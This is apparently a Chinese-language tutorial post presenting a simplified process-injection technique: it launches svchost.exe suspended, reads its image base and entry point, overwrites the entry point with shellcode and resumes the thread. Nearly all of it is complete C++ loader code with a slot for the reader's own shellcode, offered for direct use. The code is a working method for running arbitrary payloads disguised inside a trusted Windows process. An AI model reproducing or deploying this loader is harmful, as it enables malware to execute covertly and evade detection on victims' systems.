相比传统的创建傀儡进程的方法,更简单粗暴一些,不用卸载目标进程空间内存。直接利用现有内存进行覆盖写入即可。
减少了一些步骤。
具体步骤:
1.挂起模式创建svchost.exe
2.获取进程入口点
3.将shellcode写到入口点
4.恢复线程执行
#include "stdafx.h"
#include <windows.h>
#include <Winternl.h>
#include "common.h"
#include <iostream>
using namespace std;
unsigned char buf[] = " 替换成你的shellcode";
int _tmain(int argc, _TCHAR* argv[])
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(STARTUPINFOA);
// 创建挂起进程
if (!CreateProcessA(
"c:\\windows\\sysWoW64\\svchost.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
))
{
printf("CreateProcess failed (%d).\n", GetLastError());
return 0;
}
// 获取线程上下文
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
if (!GetThreadContext(pi.hThread, &ctx))
{
printf("GetThreadContext failed (%d).\n", GetLastError());
}
// 拿到目标进程主线程上下文后,在Ebx寄存器中保存的就是PEB的地址,
// 而PEB结构偏移0x8的位置是AddressOfImageBase字段,
// 所以直接来读取ctx.Ebx+0x8,就可以获取到目标进程的加载基址
DWORD dwImageBase = 0;
DWORD lpNumberOfBytesRead = 0;
if (!ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 0x8), &dwImageBase, sizeof(DWORD), &lpNumberOfBytesRead))
{
printf("ReadProcessMemory failed (%d).\n", GetLastError());
return 0;
}
// 在申请的空间中写入shellcode
DWORD NumberOfBytesWritten = 0;
if (!WriteProcessMemory(pi.hProcess, (LPVOID)ctx.Eax, buf, sizeof(buf), &NumberOfBytesWritten))
{
printf("WriteProcessMemory failed (%d).\n", GetLastError());
}
// 恢复线程执行
if (ResumeThread(pi.hThread) == -1)
{
printf("ResumeThread failed (%d).\n", GetLastError());
}
return 0;
}